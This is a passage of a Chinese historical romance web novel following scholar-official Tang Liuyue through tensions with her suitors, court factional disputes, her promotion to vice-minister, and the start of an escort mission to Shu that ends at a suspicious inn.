“那不行,”季临渊抬起右手覆在棠柳月的手腕上,努力朝她眨了眨眼,“我不在,小沈会欺负阿澈。”
“是吗?”棠柳月低声问着,又走近了些,逼得季临渊不得不偏过头,躲避灼热的视线:“那你把他一起带走。”
身后脚步重重,棠柳月余光一瞟,只听得身后人发出含笑的声音。
“外面冷,师父跟季大人还是进屋说话吧。”
棠柳月倏地松开手,季临渊身子一软,贴着树干微微屈膝,双手撑在膝盖上大口呼气。
而后棠柳月转身便看见沈易寒一脸人畜无害的笑意。而他身后不远处,宋澈衍站在门边,平静地像在看他们三人演戏。
事已至此,先吃饭吧。
“不了,我去帮秋姨做饭,你们自便。”
不算大的厨房里,棠柳月手捧一盅细盐,乖巧地站在秋姨身边。
而三个男人,被勒令不准踏入厨房。
眼不见,心不烦。
秋姨细细切着韭菜,看了看门口时不时闪过的身影,脸上有着洞悉的笑意:“多些人吃饭也好,家里热闹。我看他们人也不坏,挺好的三个孩子。”
棠柳月微弯嘴角,以示听到。
秋姨絮絮说着:“我看小季就很好,模样周正,性子好出身好,又未婚娶,一门心思都在你身上,必不会亏待你。”
“秋姨如何知晓后事?人心易变,我不想赌。”
棠柳月声音淡淡的。
秋姨缓缓停下动作,有些心疼地摸摸棠柳月的脸,“秋姨只是心疼你孤身一人,若你厌恶他们,我以后不说就是了。”
棠柳月摇摇头,其实她并不是厌恶他们,而是不喜欢失控的感觉。
尤其是在感情上。
虽然季临渊自认为他们关系亲密,但这种在对方明确表态下,还逾越雷池的行为,触碰到了棠柳月的逆鳞。
很明显,他主动越界了。
碧绿细碎的韭菜段被扫进白瓷碗,秋姨轻声叹气:“三个人,柳儿当真没入眼一个吗?”
棠柳月垂眸不语,心头不是没有悸动,但这还不足以让她卸防。情爱于此刻的她来说,还是太过浅薄和不切实际。偶尔流连,但也随时抽身。
她无法想象,自己跟阿娘一样,终生为一人悬心。
那样,实在痛苦。
“什么?”秋姨没有听清。
“没有结果的事情,不必费心。”
棠柳月说给秋姨听,也是说给自己听。
晚饭的时候,五个人围坐一桌,安静吃饭。
期间若不是秋姨时不时挑起话头,否则旁人看了,大概会以为这是五个天聋地哑在吃饭。
饭毕事清后,秋姨带着宋澈衍,去后院收拾一间可以给他住的房间。
沈易寒本想借机跟棠柳月商量除夕要放的烟火,但也被后者以身体不适而婉拒。
至于季临渊,自晚饭时便异常沉默。此刻更是自己走开,坐在棠柳月屋前的台阶上,手肘架着膝盖,闷闷喝酒。
见棠柳月过来,长腿一伸,拦住她的去路。
寒风萧瑟,月华如练倾泻季临渊周身,衬得他清俊无比。
只可惜浑身酒气,脸色酡红。
不过一双桃花眼却清醒得不像话,水汪汪的,自下而上仰视着棠柳月。
在水房里简单梳洗后的棠柳月,长发披散,素白衣衫外罩一件墨色披风,长至脚踝,严丝合缝。
脸色清丽如出水芙蓉,澄净得不食人间烟火。
“让开。”
棠柳月的声音不比寒风温暖多少。
季临渊恍若未闻,往嘴里倒了一口酒,“醉月频中圣,迷花不事君。柳月不如一起?”
一只嫩黄绣鞋自披风里伸出,踩上男人的膝盖,棠柳月微微俯身,捏住季临渊的下巴,居高临下:“搏同情也要找准时机场合。再不走,我把你腿踩断。”
膝盖上的力道越来越重,季临渊原本带笑的脸色也渐渐吃痛扭曲,却不开口求饶。
棠柳月生平最厌人不知好歹,原本捏着下巴的手指伸开,转而掐住季临渊的下颌,几道红痕立现。
“还不走吗?”
季临渊忍着痛楚,呵呵笑了两声,“你不是说没必要吗?那就踩断吧。”
……
他什么时候听到的?
就这一晃神的功夫,季临渊便收回了腿。
忽而失力的棠柳月重心不稳往前一扑,将将站稳却被一双大手往下拉,直直往眼前人的怀里倒去。
没有想象中的磕碰,棠柳月被稳稳护在季临渊怀里。她跪坐在男人的腿上,伏首在他的肩头。
宽大厚重的披风旋开遮住二人,背上的大手宛如钢条,将棠柳月拥在怀里,不肯松开。
形势的逆转让棠柳月一时无法接受,又是这样暧昧的姿势。抬起涨红的脸,她双手捶打季临渊的肩膀,羞愤道:“松开!松开!”
季临渊任由棠柳月泄愤,只定定看着她。
“你想要什么结果?”
动作一停,棠柳月怔愣片刻,显然没明白意思。
季临渊抿了抿唇,神色很是委屈:“你要名分,我明日就可以跟皇帝请旨赐婚;若不要,我一直陪你便是,总是依你的。怎么会……没有结果?”
他好像,真的很伤心。
棠柳月顿时哑火,张了张嘴想说些什么,但又不知道说什么。
最后只得垂下脸,不去看眼前人。
季临渊越看越觉得一颗心坠入冰窖,不甘心的他凑近棠柳月的脸,与她额头相抵,“全然是因为我的身份,无一丝他意吗?你说,你说啊……”
“……不要逼我。”
她完全可以骗他,或者说一些好听的话混过去。总之说什么,都比这四个字好。
但任何话语,都不如这四个字,诠释出她对他此刻的情感。
彼此相对无言。
夜来晚风急,满院响起簌簌风声。交织冷气,被呼吸卷入身体,带着丝丝的疼。
远方夜空中时不时炸起烟火,升腾绽放,却又转瞬即逝。黑暗又重新占领夜空,把刚刚的光华吞噬殆尽。
季临渊沉默地抱着棠柳月站起身,走到屋内,将她放到床榻上便转身离去。
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棠柳月甚至来不及挽留,指尖只轻轻擦过他的袖口。
门被仔细关上,她透过窗户看到季临渊大步流星地往府外走去。
“脾气还挺大……”棠柳月看着离去的背影,低声喃喃,心绪忽而烦闷。
花藤廊下,沈、宋二人默默看了一场大戏。
看到季临渊离开,沈易寒轻笑:“季大人这是伤心了呀。”
宋澈衍的神色意外又茫然,他忽然想起自己还问过她有没有对季璟动心。
现在看来,挺荒唐的。荒唐到,他想弄清楚,自己到底差了哪一步。
明明,是他比季璟先遇到了她。
“季璟难过,不正合了你的意?”宋澈衍冷冷出声。
“当然,”沈易寒痛快承认,语调阴恻恻的:“我对你,也是如此。若不是我此刻无权无势,我定要把她身边的人通通除掉。”
宋澈衍转头平视沈易寒,对方的脸被月光划成两半,明暗交错。
“疯子。”
宋澈衍终于说出了他长久以来对沈易寒的厌恶。
新年在无数庆贺声中匆匆流过,乘载着无数喜悦和分别,向前奔流不复返。
还未过元宵,棠柳月便只身回到翰林院开始工作,敬业得让其他按点回翰林院的众人羞愧不已,只得更努力工作。
临近三月,距离交付全书的日子越来越近,棠柳月完全无心想别的。只心无旁骛地待在翰林院,带领众人一遍遍送审礼部,一遍遍修书检查。
终于,从去年五月开始,到今年三月,历时近一年,在翰林院近百号人的努力下,以经史子集为四部划分、收录千余种图籍,挽救四百部孤本善本、字数逾千万、汇集了无数人心血的《古籍全书》,终于是在皇帝万寿节的前十天,封书定稿。
当皇帝身边的总管太监来翰林院通传圣谕,确认“封书定稿”,嘉奖所有参编官员整年俸禄时,整个翰林院如冷水炸油锅,顿时人声雷动,欢欣雀跃。
棠柳月原本直挺挺跪着的身板,终是撑不住般,往旁边倒去。
幸而江寒星及时扶住。
两个人彼此握着手,忍不住泪眼朦胧。
这一年,她们终于是熬过来了。
养心殿里,皇帝满意地阅览着礼部送来的《古籍全书》的样本,止不住地点头:“棠柳月不亏是朕钦点的状元,文武双全,这套书编的是真好!”
说完,皇帝又不禁在心底庆幸,还好当初没有强行纳她为妃。
当妃子哪有当臣子有用?
季临渊站在皇帝身边,面色平静,“为天子做事,理当尽心竭力。”
皇帝摆摆手,“话虽如此,但也是难为她。等万寿节过后,朕就让她调任兵部侍郎,总归是个武状元,你觉得呢?”
“皇上做主便是,无需问我。”
皇帝玩味一笑,拿着样本拍了拍季临渊的胸脯,“人家为了你,连疫区都要跟着去,你不趁现在给她求个高官?”
“我与她何时有关系?”季临渊脸色紧绷,嘴硬心倔。
皇帝“嗯”了一声,轻点着头,慢步走过季临渊身前,假意思量:“既如此,那朕让她去内府做女官,朕也好时时看见她。”
……
季临渊:“那你自求多福,别死在她手里。”
皇帝:……
季临渊:“还是先调去刑部吧,这样的性子刚好处理一些陈年旧案。”
终归,还是想为她说话。
22.外派(1)
三月,皇帝的万寿节办的热闹盛大,伴随着大赦天下,一卷卷《古籍全书》被大量刊印,送到全国各地的书塾学堂文馆,供人往来翻阅。
这种行为,完全打破了此前世家大族对教育知识的垄断。
但又因圣意威严,他们不敢反抗,只能看着原先为自己所有所把持的东西,被那些下等门户一一染指,暗自愤恨。也更加嫉恨棠柳月和与她关系过密的季临渊。
不过再恨也无法,因为此刻举国上下,皆以诵读此书为荣,颂扬皇帝的诗句也是层出不穷。
皇帝高兴,连带着朝臣们上朝都轻松了许多。
慢悠悠地迈入金銮殿,季临渊又是最后一个到场。
经过棠柳月身边时,不知是故意还是无意,他扬了扬宽大的袖子,正正好扑到棠柳月脸边。惊得她后撤一步,自己倒是施施然走远。
就挺让人,莫名其妙。
算起来,自从上次一别,二人已经快四个月不曾见面说话。
这期间,棠柳月自不必说,忙着修书连家都不回,根本没闲情逸致主动搭话季临渊。
而后者居然也按兵不动,连江寒星都忍不住好奇二人之间发生什么事,能让平时对翰林院五天一观望,十天一小坐的季临渊安静至此。
在众人的注视下,季临渊脸不红心不跳地走到章奭身后站定,端的一派长身玉立,稳如泰山。
一旁的罗恒幡腆着肚子,身体宛如上下三颗球,最顶上那颗球低声不满:“皇上仁德,但你季璟也未免太随性。”
季临渊垂着的眼皮一掀,语不传三人:“皇上垂爱,太尉大人若修整头脸,保不齐也能跟我一般随性。”
罗恒幡生平最恨别人拿他身形说事,又兼一向不喜季临渊,此刻若不是顾念皇帝,他只怕会用手中笏板猛砸季临渊。
“巧言令色鲜矣仁!”他低声咒骂着。
季临渊恍若未闻,身后的其他大臣也只更加低垂了头颅,不听不看,王八下蛋。
龙椅之上的皇帝也只当没看见,循例让各部汇报工作。
简单对其他人的汇报做了批示后,皇帝才调转话头,问起了刚刚停火的罗恒幡。
“罗卿此前提及学宫之事,与工部商议的进展如何?”
被点名的罗恒幡不慌不忙出列,躬身道:“经工部实地勘察后,确定可以修建。已经为选址附近的百姓重新安置居所,各类建材已经在途输送,只等工期一到,工人便可开始作业。”
“只是……”
“爱卿但说无妨。”
“动工所用的水沉木皆由京城运出,但路途遥远,数量庞大。且水沉木百年才得一棵,实属珍贵。为防万一,微臣想恳请皇上多指派人手,随行保护。”
皇帝听后,许久才缓声道:“朕已经配了一部分御林军的人给你,还不行吗?”
罗恒幡:“御林军是皇城禁军,微臣不敢质疑。但队伍浩大,总归需要一个领头镇场的人。”
“那让赵靖圻带队?”皇帝言语颇为讥讽。
“微臣不敢,”罗恒幡有恃无恐地跪下,“赵统领乃皇帝亲卫,不可调动。”
皇帝不耐烦地摸着龙椅扶手,“那你意在何人?”
罗恒幡将手中笏板稍稍举高,高声道:“微臣请旨,由翰林学士棠柳月随行,带队前往。”
站在后方的棠柳月顿时抬头,与皇上四目相对,彼此诧异。
“不可,”季临渊的声音幽幽响起,“且不说棠学士身为女子,孤身与军兵同行多有不妥。即便她是个男子,既无军功官阶又低,还是文官出身,怎能服众?”
别骂了别骂了,怪让人心寒的。
棠柳月听着听着,头就低了下去。
大将军张世豪闻言,冷笑连连:“罗太尉不必悬心,宫中御林军训练有素,哪怕没有赵统领,也是井然有序,恪尽职守。若他们还需要有人专门看着,那皇上的安危岂不所托非人?”
他与罗恒幡并无太多冲突,但他很看不满罗恒幡为了一个学宫,竟然调走皇城近一半的御林军!还从他手上抽走精兵近千人,只为学宫的修建保驾护航。
实在桀骜,让人愤慨。
如今还要搭上一个棠柳月,不用想都知道是看上人家武状元的名号,想要为他的学宫粉饰门面呢。
张世豪自是不愿让他如此顺心遂意。
罗恒幡恨恨地朝右边的两人看去,“我只是就事论事,若途中出现什么差池,折损的也是皇上的颜面。再者,棠学士究竟身份几何,不还是皇上一句话的事。不劳中书令和大将军费心。”
皇帝扫视着这三人,最后眼神落到罗恒幡身上。他深知自己这个臣子的脾性,若是不依,对方便不饶。除非有无法招架的理由出现,否则一百个理由丢过来,砸到他同意为止。
现下朝廷派别三足鼎立,一派是以罗恒幡为首的世家大族,一派是以季临渊为首的寒门庶士,剩下的便是太师章奭和大将军张世豪等人聚拢的中立派。
三派对立歧视,各不相让。
如今棠柳月虽还身在翰林院,但众人都明白只是圣旨还未下,眼瞅便是朝廷新贵。又与季临渊过从甚密,早早就把她当成了季临渊的门生。
此刻若由着罗恒幡把人带走,那便是羊入虎口。
皇帝思忖片刻,抬手让罗恒幡起身归列,而后不紧不慢道:“朕记得,大将军也快要出巡蜀中,护送官银,是吧?”
……
“是,”张世豪立马接话,单膝跪下,“近年蜀中地区常有山贼出没,末将途径此处常觉不安,特请棠学士随行,以防万一。”
棠柳月在后面听着,不禁苦笑,她是非出去不可吗?
而其他远离是非中心的大臣则对棠柳月投去同情的目光,因为不论是护送建材,还是护送官银,都要提心吊胆,风吹日晒,实在算不得是好差事。
罗恒幡一听,张世豪居然跟自己要起了人,火气是再也压不住,直接呛声:“呦,这会子大将军也开始要人了?那刚刚你和中书令说的那些,是笑话吗?”
季临渊终于转脸,似闲聊家常般笑了笑,“太尉莫要动气,一切还凭皇上做主。”
“是啊 ,官银系百姓生计,自圣祖起便是一等一的要事,太尉也该开眼好好看看,别有负皇恩。”
章奭莫名的帮腔,让季临渊很是诧异。
罗恒幡鄙夷地冷笑,扭脸不看几人。
事已至此,皇帝再不出声,这早朝就结束不了了。
无声叹气,皇帝拍着龙椅站起身,抬手隔空点了点列队后方的棠柳月。
“棠柳月,晋正四品刑部侍郎,随大将军张世豪,护送官银至蜀中。翰林院事宜由侍读暂代,不得有误。”
“退朝!”
说罢皇帝颇有种逃也似的感觉,快步离开大殿,充耳不闻身后罗恒幡一声声气恼的“皇上”。
下了早朝,走在去翰林院的官道上,棠柳月还有点不太相信。
自己居然已经是四品官了?
真是时也命也。
不过想起要护送官银,棠柳月才下眉头的忧愁,便又浮上心头。
历来钱权都是争夺的要地,护送官银听上去是个肥差,但这一路山高水远,一旦出事那便
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少不得被疑贪污国库,平白惹一身腥。
“害怕吗?”
熟悉的声音在身侧响起,棠柳月一惊,转头看去,却不是那张桃花面。
是宋澈衍,他来接棠柳月下早朝,一同回翰林院。
迫使自己的双眼不要流露出失望的神色,棠柳月慢慢转回脸,“……不害怕。”
晨曦还未散去,还有薄薄的雾霭弥散在官道上。长风猎猎,吹起平金绣服的衣角。
二人并肩而行。
宋澈衍的声音稀薄如雾霭,湿湿润润:“之前还说不想离开你,结果你就已经是刑部侍郎,又要被外派。”
棠柳月脸色平静,“天下无不散的宴席,我不会一直待在翰林院,你也不会。”
“那,我们日后也会像其他人一样,因党派不同而对立吗?”
“为什么是我们一定要对立,不能自成一党吗?”
宋澈衍忽而语塞,他转脸看向棠柳月,却只见到她明艳立体的侧颜。
“七月科考,麻烦你多提点寒星,我不在她身边,她又是第一次,我怕她被人欺负。”
“我知道,”宋澈衍点点头,“这也是翰林院的大事,我会帮着寒星,把事情办的漂漂亮亮。”
言语间,二人走到了翰林院门口。
“柳月。”
宋澈衍叫住了刚想跨过门槛进去的棠柳月。
“怎么了?”棠柳月回身,疑惑地看着他。
宋澈衍迟疑了一下,从袖口里掏出一个红色福袋,一面绣金色麒麟,一面绣福字。
他把福袋递到棠柳月的手边,笑道:“去佛寺特意求的如意福袋,贺你升官之喜。”
“一鸣从此始,相望青云端。此去前路,也一定要平平安安地回来。”
惊喜于这样的心意,棠柳月珍视地接过,却也在心里嘀咕,莫非未卜先知她会升官,所以提前去求了福袋?
“谢谢,”棠柳月把福袋握在手里,眉眼含笑:“这一路,我一定会随身带着它,不辜负你的心意。”
宋澈衍点点头,“好了你先进去吧,我要去礼部洽谈接下来的工作,晚点回来。”
与棠柳月在翰林院门口分别后,宋澈衍并没有去礼部,而是拐道走入另一条偏僻的林荫官道。
柳树粗壮,柳枝摇曳,在那里,他看到了等候多时,忍不住来回踱步的季临渊。
一见宋澈衍过来,季临渊的眼神一亮,快步走上前握住他的手臂,“东西给她了吗?”
“嗯。”
“那就好,”季临渊长舒一口气,松开了手,与宋澈衍错身而站:“总归没浪费我特意去求来的心意。听说那个庙的神仙都很灵的,她一定会平平安安的。”
宋澈衍眼底神情复杂,他不明白季临渊为何会托他去转交,也不明白自己居然还答应了。
“你为何不亲自给她?”
雀跃的神色陡然落下,季临渊默然片刻,说道:“怕她生气,她又要走了,不想让她分神。”
“你倒是贴心,”宋澈衍不知出于何种心理,语气嘲讽:“还托我去转交,也不怕我直接扣着不给。”
季临渊摆摆手,“你不会,要是姓沈的我肯定不放心。”
……
“可是季璟,”宋澈衍转身,直视季临渊,沉了语调,正了脸色:“我也喜欢她。”
“我知道,”季临渊同样转身,与对方四目相对,但这双眼里罕见地多了几分挑衅:“但那又如何?”
“我与她之间,有你们想不到的羁绊和联系。”
“你大可以试试,在她心中比肩我。”
23.外派(2)
出行的日子定在七日后,那日刚好是端午节。
在翰林院交代完工作,跟众人告别后,棠柳月便回了家,准备出行的行囊。
这次不同于上次,天气日趋炎热不说,周遭都是将士,所以秋姨和许伯在收拾东西的时候是慎之又慎,生怕带多了负重,又怕带少了不便。
相比之下,沈易寒更多时候,是陪在棠柳月的身边。
残阳傍晚,院中树下,棠柳月身穿月白长裙,背靠大树席地而坐,正低头编花环。
而沈易寒枕在棠柳月腿上,一袭青衫,一条腿屈起,膝盖上放着棠柳月编好的花环。
“师父,非去不可吗?”
隔着花环往上看,棠柳月的脸正正好在中间,更显得明丽艳绝。
沈易寒看的心旌摇动,却又见她莞尔一笑,纤纤玉指穿过花瓣枝叶:“圣旨都下了,你现在才问,是不是有点迟了?”
是了,圣意难违。
沈易寒的眼神有一瞬间的黯淡,但很快便散去,他定定看着棠柳月:“若有朝一日我也有了权势,我一定会把师父好好护在身边,不让你去任何地方。”
棠柳月动作一停,移开花环,将眼神转移到沈易寒脸上,稍稍板正了脸:“你现在要做的,是好好读书,不许胡思乱想。”
“师父,”沈易寒神色温柔,抬手勾住棠柳月的袖口,将她的手拉着覆到自己的双眼上,“十一月我过生辰,你会陪着我过十七岁生辰的,对吗?”
纤长卷翘的睫毛颤抖着扫过棠柳月的手心,有些痒。
“师父,再等等我,我一定会站到你的身前。”
让所有人都不能靠近你。
你只能看见我。
棠柳月只当这个孩子在担心自己,又想起回京后,一直没时间陪他。索性趁这段日子,带他在京城游玩闲逛了好几处地方。
其中,便有京城最出名灵验的佛寺——神女寺。
远足顺遂,升官发财,家庭和睦,皆可拜求神佛庇佑。
棠柳月自是不信这些,所以起初兴致缺缺。但架不住沈易寒一再请求,所以便跟着他入了寺内。
寺内香火缭绕,男女老少皆来拜愿求签。尤其临近科举,更有不少学子的身影出没其间。
就在这熙熙攘攘中,棠柳月和沈易寒遇到了张姝。
张姝带着一个小丫鬟,手持一大把长香,正跪在平安佛前,诚心叩拜。
起身后退时,跟棠柳月撞了个满怀。
香灰燎落,彼此的外罩纱衣都被烫出几个洞。
沈易寒一时着急,又念着纱衣易燃,便顾不得香灰滚烫,直接蹲下身子,伸手拍掉棠柳月裙摆上,还带着火星子的点点香灰。
棠柳月本来不着急,结果被沈易寒的举动吓到,赶紧拉他起来,仔细检查他的手掌。
而此时,张姝身边的小丫鬟替自家主子拍掉香灰后,冲着棠、沈二人拔高了语调:“你们也太不长眼了!知道冲撞的是谁吗?”
小丫鬟声音尖细,一下子就吸引了其他人的注意。
棠柳月懒得看她,只一心低头看沈易寒的手掌,果不其然,右手被烫了四个大水泡,晶莹剔透。
“肯定很疼,一件衣服而已,你也太傻了。”棠柳月抬眼,半是心疼半是自责地看向沈易寒。
沈易寒笑着摇摇头,反握住棠柳月的手,不动声色地将人往自己身边拉近,紧紧保护住,“是怕香灰烫到师父,师父没事就好。”
小丫鬟见二人不理睬自己,更是火大,刚想再喊几句,却被张姝制止。
只见她往前走了走,眼睛上下打量着沈易寒。
眼里因为被撞到而产生的怒火渐渐被好奇代替。
“棠柳月,这是你弟弟吗?”
棠柳月闻声转头,才发现刚才撞到的是张姝,也发现她的眼神一直游走在沈易寒脸上。
沈易寒也察觉到这一点,默默低垂了脸庞。
出于警惕,棠柳月把沈易寒护到身后,“我们无意冲撞张小姐,还望张小姐海涵。弄坏的衣裳我会赔一件新的给您,遣人送到贵府,还望张小姐收下。”
“衣服事小,”张姝朝沈易寒扬了扬下巴,“你还没告诉我,他是你弟弟吗?”
棠柳月摸不准张姝的意思,只好诌了一个身份,回答道:“他是我表弟,来京城投奔我。”
张姝好奇地“哦”了一声,更往前走了几步,十分大胆不遮掩地盯着沈易寒,笑道:“长得真好看,就是跟你一点都不像。”
张姝虽不是绝色,但也称得上朱颜皓齿。多年富贵浸润,举手投足矜贵大方。此刻锦缎衣帛在身,更显贵气逼人。
被这样的女子打量,沈易寒垂下眉目,整个耳朵飞红一片。
“你多大了?”
“十六。”沈易寒虽垂眸,但语调还算平稳。
“那比我小两岁,怪不得不敢看我。”张姝笑得粲然。
不过棠柳月没觉得好笑,她并不想在自己即将出远门的时候,让沈易寒被奇怪的人盯上。
所以她拉起沈易寒的手,说了句“下次再回”便带着沈易寒离开了佛寺。
不过她没看到的是,在临出门拐弯的那一刻,沈易寒突然回头,与张姝目光交错。
小丫鬟给张姝扯了扯裙摆,心疼道:“小姐,我们也快些回府吧,这衣服都烧坏了,穿久了不舒服。”
张姝望着沈易寒消失的方向,忽而微眯双眼:“派人去查一下这个男人。”
出发那天,大将军张世豪带着人马,浩浩荡荡地来到棠柳月府门口接人。
与秋姨、许伯和沈易寒简单告别后,棠柳月便带上行囊,翻身上马,跟随队伍,在马蹄声声中,离开了京城。
城楼一角,季临渊正站在上面,迎风而立,目送棠柳月的远去。
不多时,两个身影如鬼魅般出现在他身后。
是弥容和弥真。
“大人,已经按您的吩咐,沿路安排好了暗卫。”弥容不带一丝感情地回禀工作。
“嗯,”季临渊颔首,“不过按她的心性,应该很快就会察觉。告诉下面的人,一旦被察觉,与她一人自报家门便可,不许起冲突。”
“是。”
但就是这样妥善安排了,季临渊还是不放心,皱眉看向远方那个即将要消失的身影,又说道:“弥容你且跟上她吧,我不在她身边,总是不放心。有你,会好一点。”
弥真有些无语于自家主子的举动,撇了撇嘴:“主人,我们是您的死士,轻易不暴露。在府上我和姐姐都装作略通拳脚,从未有人发觉。结果现在您又安排暗卫又要姐姐跟过去,她真的可信吗?”
季临渊偏头,脸色冷然:“我的事情何时轮到你置喙了?”
弥容伸手护在妹妹身前,替妹妹出声道:“主人误会了,弥真也是担心主人。此去一行,我会尽心保护好棠姑娘。”
季临渊不再说话,只是抬手示意,两姐妹便识趣地退下了。
骑着高头大马,一摇一晃走出城门,棠柳月总觉得身后有人再看自己。
但回头看向城墙之上,却只有在那来回走动巡逻的士兵。
张世豪见棠柳月频频回头,不由好奇道:“看什么呢?”
“没什么,”棠柳月扯了扯缰绳,笑了笑,“只是有点舍不得家人。”
一句话触动了张世豪的情肠,他叹了一
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口气,“我也是,每每出征或外派,总是担心姝儿一个人在京城,生怕死在外面,连最后一面都见不到。”
“大将军如此爱女,怪不得张小姐生的果敢勇毅,第一次见面便与下官动起了刀剑。”
张世豪爽朗一笑,,“在外就不用自称下官了,寻常称呼即可。”
“说起来,若不是太尉硬要你跟随护送水沉木,我也不会出此下策。即便要你护送官银,我也可提个虚名给你,不必全程跟随,风吹日晒。”
张世豪说话的时候,神色颇为愧疚。
棠柳月有些意外张世豪竟然是这个心思,于是宽慰道:“都是为朝廷做事,苦累些也无妨,大将军能说这些我已经很感激了。”
“主要也是怕负了中书令的一番心思。”
棠柳月柳眉一挑,“他虽是想借大将军,护我一把。但各人有各人的路,终归打铁还需自身硬。况且他自己都风雨飘摇,我还是别给他添麻烦了。”
张世豪朝棠柳月投去赞许的眼光,“果然是通透的人,要是中书令以前也有你这般心思,也不会落到如今这般被动的田地。”
“季临……季大人以前是什么样的?”棠柳月扭头看向张世豪,很是好奇。
“他啊,”说起这个,张世豪明显来了兴趣,抬手抚着寸许长胡须,眼中闪着精光,“以前眼里容不得一点沙子,说一不二。而且他自入官场,一路得先皇青睐。凭着他父亲的官职,起步便是刑部侍郎,而后是刑部尚书。进士及第后直接跳过尚书门下,晋位中书令。”
对于季临渊之前的仕途,棠柳月也是有所耳闻,知道他对外是前朝中书令季泰的独子,借此一路官运亨通。
但不想如此亨通。
“还是季大人命好,托生在这样累世公卿的家族。”
“对喽,”张世豪点点头,“不过季泰一直对这个儿子很冷淡,小小年纪就让他分府别住,也很少去照拂。”
“倒是先皇,对季璟很是垂怜,常常入府探望。”
棠柳月闻言不语,但浅浅笑意里止不住的讥讽,“那季大人还是谦逊了,换做我,必得天天把圣上垂爱挂在嘴边。”
“怎么没有?”
张世豪像是听到笑话,自胸腔里发出震颤笑意:“之前的季璟只会比你想的更张狂,出任刑部尚书之时,凭借先皇庇护,主张严刑峻法。很多犯人定罪前被他折磨,定罪后更被折磨。”
“……重刑之下多冤狱。”棠柳月微微咂舌。
蹬着马镫,张世豪控制着骏马走快了一些,“这便是季璟的厉害之处,他经手的案子经过翔实,动因明确,从未有冤假错案一说。”
“而且当时他还主张妇女受胁迫反杀行凶者应当按无罪处理,与当时还是王爷的皇上争论不休。最后季璟搬出先皇,硬是通过了这条律例。”
“那时的他,真是年少得志,鲜花着锦,烈火烹油。跟你一般游街,煊赫一时。”
“只可惜……”
“可惜什么?”
面对棠柳月的追问,张世豪慨然一叹,蹦出一句骇人之语:“可惜登基的是皇帝,容不下这样的权臣。”
……
棠柳月摸了摸鼻子,偏头远眺,只当没听见。
“被贬后季璟便萎靡不振,成天插科打诨,浑不见当年齿少心锐。哪怕如今复位,我看他也不再似从前。”
冗长的队伍沉默行进着,驮着沉重木箱的马匹喘息声此起彼伏,铁蹄深一脚浅一脚踩在泥地之上。
棠柳月听着张世豪的僭越之语,最后用了一句话,平淡收场。
“世易时移,人总是会变的。好在如今皇上不念旧过,对季大人很是重用。”
24.外派(3)
暑热逼近,不知不觉,棠柳月一行人已经行进了二十日,还有十日便可到蜀中。
只是愈靠近蜀中,天气反而变得反复无常起来。
时而阴雨连绵,时而烈日暴晒。更不用提沿途从未见过,但毒性极强的蛇虫鼠蚁。
还好棠柳月行囊中别的没多带,几乎都是各种缓解治疗疑难杂症的药剂,这才让将士们不至于苦熬日子。
这也让众人渐渐对棠柳月改观,相处也日渐融洽。闲暇之余,总有人专门去向她讨教武功拳术。
而对于棠柳月来说,这一程更让她开心的,莫过于发现秦川柏居然也是随行将士。
老友重逢,总是这个世上为数不多值得高兴的事情。
距离下个驿馆还有十数里,但日头渐毒,所以张世豪下令全军原地休憩。
翻身下马,棠柳月远离人群,牵着马儿来到一棵巨树下,拴好马绳。接着拿下随身携带的水壶和干粮,挨着树根坐下,啃起干粮。
棠柳月吃饭时不爱被人打扰,所以其他人也就没过来。
恰好此时秦川柏要带马匹去河边冲洗,走过来顺手把棠柳月的马儿也牵走了。
没了马儿在身旁遮掩,日照当空,入目的枝条树叶皆是青绿翠亮。风过林响,到处都是晃眼的亮。
不远处将士嬉笑打闹,人影晃动。看的久了,感觉远处传来的声音都变得模糊起来。
棠柳月屈膝撑着脑袋,嘴里虽还嚼着干粮,但眼神已经渐渐涣散起来,感觉很快便能倒头就睡。
“弥容……”
棠柳月用着一息尚存的意识,低声喊了一个名字。
不多时,头顶大树簌簌作响,飘下几片叶子。
顺带,还飘下一个人影。
弥容从旁边的野草堆里薅了一大丛野草,组成一个草垛遮掩住自己,随后便挨着棠柳月坐下。
后者也很自然熟稔地靠着她的肩头睡去。
很明显,这不是二人第一次打配合。
弥容掩藏在草丛里,神色很是无语。
季临渊说得对,棠柳月的确在出城后不久就发现了她的存在。
弥容原本还在想怎么跟棠柳月解释,但棠柳月却摆摆手,并无多大的兴趣,只嘱咐了不要打扰其他人,便不再过问其他。
她们就这样一路默默并行着。
二人关系的破冰也是始于一次行军中途休憩,弥容见棠柳月一个人孤零零吃饭,心下不忍,便现身陪她。
谁知从那以后,棠柳月就好像赖上她一般,休息时总要带上她一起。困倦时更是把她摇过来,靠着便沉沉睡去。
全身心地相信她。
真是……太没戒备心了。弥容如实想着。
休憩了两刻钟,弥容动作轻柔地碰了碰棠柳月的手腕。
这是二人的暗号,一般这时候就代表还有一刻钟,队伍便要重新启程。
棠柳月悠悠转醒,迷迷糊糊抱住弥容的胳膊,轻轻蹭着。
低头替棠柳月拂去面上散落的头发,弥容露出自己都未曾察觉的宽和笑意,“好了好了,快点醒醒,不然我就走不了了。”
哄了又哄,好一番功夫后,棠柳月才慢慢坐起身子,揉着睡眼惺忪的脸。
等到她终于清醒了神色时,身边的人影早已消失得无影无踪。
空中只留下一句唯有她们二人听得到的话语。
“有几处驿馆的暗卫出了情况,我过去处理一下,明早再同你会合。”
队伍再次启程,在蝉鸣声声中渐渐靠近下一个驿馆。
但天公不作美,临近傍晚,一场暴雨来的猝不及防,将目之所及都淹没在一片雾茫茫中。
电闪雷鸣,暴雨如注,繁密硕大的雨点砸在身上,让人抬不起头直不起腰。周遭也都没有遮蔽,脚下的泥沙化作一摊摊黄浆,深陷拖延每一个经过的人。
张世豪和棠柳月穿着蓑衣,带队破开迎面而来的暴雨。
他们并没有下令原地休息,而是全速进发下一个驿馆。
这样的天气,原地休息保不齐会遇到什么山洪泥石流,只能寄希望于尽快到达驿馆,才好彻底放心。
而更深层的原因,是因为从这一段官道开始,山匪贼众便常常聚集动手,防不胜防。
不到万不得已,张世豪断断不会在驿馆外过夜休整。
艰难行进了许久,待到夜幕彻底笼罩,雨势稍减时,一行人才到了驿馆。
驿馆之外,几十匹良马被拴在马厩里,而驿馆之内却大门紧闭,安静异常,只有灯火如旧。
常年征战的张世豪顿觉不妥,下令所有人后撤十米,点燃火把,原地待命。
而他自己翻身下马,带了十几个精兵,准备进去一探究竟。
与此同时,棠柳月同样深觉不安,因为即便是大雨滂沱,她也嗅到了一股血腥气。于是她也紧随其后下马,拦住张世豪。
“大将军且留步,这驿馆里怕是藏了人,您不能以身犯险。否则群龙无首,更是危险!”
